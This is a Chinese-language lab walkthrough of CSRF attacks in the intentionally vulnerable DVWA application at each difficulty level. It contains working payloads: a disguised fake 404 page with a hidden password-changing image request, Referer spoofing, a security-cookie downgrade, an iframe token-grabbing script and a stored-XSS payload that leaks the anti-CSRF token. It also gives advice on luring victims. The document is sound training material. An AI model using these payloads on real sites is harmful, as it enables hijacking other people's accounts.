【DVWA全攻略】DVWA CSRF 实验

image.png

DVWA CSRF实验

CSRF是Cross Site Request Forgery的缩写

正常输入

正常输入新的密码,可以完成密码的修改

Low难度

抓包分析

输入新的密码newpassword

在确认修改密码的时候截获相关请求,进行分析

image.png

可以看到这里其实是向服务器发送了一个get请求

GET /dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change HTTP/1.1
image.png

核心的链接

newpassword改为你要设置的新密码

http://192.168.47.129/dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change

伪造请求页面

如果直接让用户点某个链接,页面上输出了Password changed,用户就会意识到自己密码被篡改了

image.png

因此,为了使得效果更加真实,可以通过伪装成404页面,让用户降低警惕。

启动web服务

启动apache2服务

service apache2 start

伪造404页面

用html写个假的404请求页面,将抓包中的请求也加入到里面

使用img标签,并且不将其显示出来style="display:none;",并将密码修改为newpassword

<html>
 <head><title>404 Not Found</title></head>
 <body>
 <img src="http://192.168.47.129/dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change" border="0" style="display:none;"/>
 <center><h1>404 Not Found</h1></center>
 <hr><center>nginx</center>
 </body>
 </html>

上传到服务器

将该页面上传到自己的服务器里某个目录下,并以404.html命名,效果会更加逼真

实验过程

诱导用户点击

诱导用户点击了下面的页面,访问提示404,但实际上密码已经修改了

http://192.168.47.128/404.html
image.png

验证效果

这里发现使用原来的密码password已经登陆不上去了,说明修改成功了已经

image.png

代码分析

<?php
 ​
 if( isset( $_GET[ 'Change' ] ) ) {
     // Get input
     $pass_new  = $_GET[ 'password_new' ];
     $pass_conf = $_GET[ 'password_conf' ];
 ​
     // Do the passwords match?
     if( $pass_new == $pass_conf ) {
         // They do!
         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
         $pass_new = md5( $pass_new );
 ​
         // Update the database
         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 ​
         // Feedback for the user
         $html .= "<pre>Password Changed.</pre>";
 ​
     }
 ​
     else {
         // Issue with passwords matching
         $html .= "<pre>Passwords did not match.</pre>";
     }
     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
 ​
 }
 ?>

通过上面的代码可以看到,在收到传入的密码后,服务器端只检测 $pass_new$pass_conf是否相等,相等就会修改密码,并用md5加密传到数据库进行保存,在这里没有任何防御相关的机制。

Medium难度

抓包分析

image.png

核心的链接

newpassword改为你要设置的新密码

http://192.168.47.129/dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change

直接访问发现提示

That request didn't look correct.
image.png

目测这里是做了某些限制,后面证实是refer验证

伪造Referer请求头

开启拦截,访问

http://192.168.47.129/dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change

然后再下方添加

Referer: http://192.168.47.129/dvwa/vulnerabilities/csrf/

再放行

image.png

提示密码成功修改

image.png

因此可以得出通过伪造192.168.47.129可以实现密码的修改

文件名尝试

这里再做一次尝试

将文件名修改成192.168.47.129.html

image.png

结果发现密码也可以修改,由此可以推断只要文件名字中包含这个IP地址就行

image.png

伪造404页面

因此,伪造的页面只需要把404.html改成192.168.47.129.html就行了

代码是之前的,不需要修改

代码分析

<?php
 ​
 if( isset( $_GET[ 'Change' ] ) ) {
     // Checks to see where the request came from
     if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
         // Get input
         $pass_new  = $_GET[ 'password_new' ];
         $pass_conf = $_GET[ 'password_conf' ];
 ​
         // Do the passwords match?
         if( $pass_new == $pass_conf ) {
             // They do!
             $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
 ​
             $pass_new = md5( $pass_new );
             // Update the database
             $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
 ​
             $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 ​
             // Feedback for the user
             $html .= "<pre>Password Changed.</pre>";
 ​
         }
 ​
         else {
             // Issue with passwords matching
             $html .= "<pre>Passwords did not match.</pre>";
         }
     }
 ​
     else {
         // Didn't come from a trusted source
         $html .= "<pre>That request didn't look correct.</pre>";
     }
 ​
     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
 ​
 }
 ?>

可以看到Medium难度代码中,对请求来源进行了判断

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

HTTP_REFERERSERVER_NAME进行比对,如果不对则不能修改密码。

但是这里我们可以通过修改文件或者伪造Referer,完成密码修改。

延申

由此,还可以得出,很多防盗链的资源如果只是通过上述方式进行了Referer验证,我们可以通过构造Referer请求头就可以下载到这些资源。

High难度

抓包分析

image.png

发现High难度下增加了user_token的验证

GET /dvwa/vulnerabilities/csrf/?password_new=newpassword&password_conf=newpassword&Change=Change&user_token=09eff8ff448b3c6edacd4cb62d173a85 HTTP/1.1

方法1

通过降级的思路,将High难度降级到Low难度,然后再按照Low难度的进行实验即可

这里只需要修改cookies就行了

image.png

将cookies修改为Low难度的

Cookie: security=low; PHPSESSID=4ppsgvlu5v2q1ndtuki0447i04

方法2

安装CSRF Token Tracker插件

image.png

user_token设置进去,并且打勾

image.png

然后修改密码,进行抓包

image.png

可以看到已经读取到user_token的值了

image.png

将刚才抓包的内容发到Repeater模块。

image.png

点击go修改密码

image.png

然后我们尝试手动修改password_newpassword_conf的值,然后继续点go

image.png

这样复用,user_token就直接废掉了,直接修改密码就可以了

方法3

方法1和方法2需要攻击者使用工具的手段进行修改,而实战中有时更需要利用钓鱼等手段

这里尝试通过document.getElementsByName读取user_token的值,然后在iframe框架下修改密码时传入参数

<!DOCTYPE html>
 <html>
 <head lang="en">
     <meta charset="UTF-8">
     <title></title>
     <script type="text/javascript">
         //获取用户的token,并设置为表单中的token,然后提交修改密码的表单
         function attack()
         {
             document.getElementsByName('user_token')[0].value=document.getElementById("fancypig").contentWindow.document.getElementsByName('user_token')[0].value;
             document.getElementById("transfer").submit();
         }
     </script>
 </head>
 <body onload="attack()">
     <iframe src="http://192.168.47.129/dvwa/vulnerabilities/csrf/" id="fancypig"  style="display:none;"> 
     <!--在该网页内打开另一个网页-->
     </iframe>
     <form method="GET" id="transfer"  action="http://192.168.47.129/dvwa/vulnerabilities/csrf/">
         <input type="hidden" name="password_new" value="newpassword">
         <input type="hidden" name="password_conf" value="newpassword">
         <input type="hidden" name="user_token" value="">
         <input type="hidden" name="Change" value="Change">
     </form>
 </body>
 </html>

这里实际效果是,由于同源规则,攻击脚本不能跨域获取改密界面中的user_token

image.png

我们这时将思路转到存储型XSS漏洞上,基本思路就是通过XSS漏洞,然后将token暴露出来,这样使用固定的token就可以修改密码了

<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

经过尝试发现Name和Message都有长度限制,因此这里还是需要用到BurpSuite的Repeater功能,修改输入值

image.png

发送到Repeater

image.png

将txtName修改一下,点击go

image.png

发包出去,发现已经存储上了,只有每次点击XSS(stored)的时候会token才会更新,因此该难度又回到了Low难度,因为后面token已经变成一个固定的值了

image.png

我们这里复制下来token

70d6168dd05f1b8823fcab4b72fc6c44

伪造404页面

将上面的token放到user_token后面,

<html>
 <head><title>404 Not Found</title></head>
 <body>
 <img src="http://192.168.47.129/dvwa/vulnerabilities/csrf/?password_new=fancypig&password_conf=fancypig&Change=Change&user_token=70d6168dd05f1b8823fcab4b72fc6c44 " border="0" style="display:none;"/>
 <center><h1>404 Not Found</h1></center>
 <hr><center>nginx</center>
 </body>
 </html>

访问相应的页面,出现404

image.png

然后打开个新的隐私页面,输入密码fancypig

看看密码有没有修改成功

image.png
image.png

代码分析

<?php
 ​
 if( isset( $_GET[ 'Change' ] ) ) {
     // Check Anti-CSRF token
     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 ​
     // Get input
     $pass_new  = $_GET[ 'password_new' ];
     $pass_conf = $_GET[ 'password_conf' ];
 ​
 ​
     // Do the passwords match?
     if( $pass_new == $pass_conf ) {
 ​
         // They do!
         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
 ​
         $pass_new = md5( $pass_new );
 ​
         // Update the database
         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 ​
         // Feedback for the user
         $html .= "<pre>Password Changed.</pre>";
 ​
     }
     else {
         // Issue with passwords matching
         $html .= "<pre>Passwords did not match.</pre>";
 ​
     }
 ​
     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
 ​
 }
 ​
 // Generate Anti-CSRF token
 generateSessionToken();
 ​
 ?>

上述代码加入了Anti-CSRF token防御机制,用户每次修改密码提交时,服务器会返回随机的token,一定程度上避免了之前Low、Medium难度下发送钓鱼链接直接篡改密码的情况,因为每次都需要检查token,只有token正确,才会处理客户端的请求。

Impossible难度

<?php
 ​
 ​
 if( isset( $_GET[ 'Change' ] ) ) {
 ​
     // Check Anti-CSRF token
     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 ​
     // Get input
     $pass_curr = $_GET[ 'password_current' ];
     $pass_new  = $_GET[ 'password_new' ];
     $pass_conf = $_GET[ 'password_conf' ];
 ​
 ​
     // Sanitise current password input
     $pass_curr = stripslashes( $pass_curr );
     $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
     $pass_curr = md5( $pass_curr );
 ​
 ​
     // Check that the current password is correct
     $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
     $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
     $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
     $data->execute();
 ​
     // Do both new passwords match and does the current password match the user?
     if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
         // It does!
         $pass_new = stripslashes( $pass_new );
         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
 ​
         $pass_new = md5( $pass_new );
         // Update database with new password
 ​
         $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
         $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
         $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
         $data->execute();
 ​
         // Feedback for the user
         $html .= "<pre>Password Changed.</pre>";
 ​
     }
 ​
     else {
 ​
         // Issue with passwords matching
         $html .= "<pre>Passwords did not match or current password incorrect.</pre>";
 ​
     }
 ​
 }
 // Generate Anti-CSRF token
 generateSessionToken();
 ​
 ?>

上述代码延续使用PDO技术防御SQL注入,除此之外,增加了当前密码的验证,这样就可以防止无意点了钓鱼链接,密码直接被篡改的情况。

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容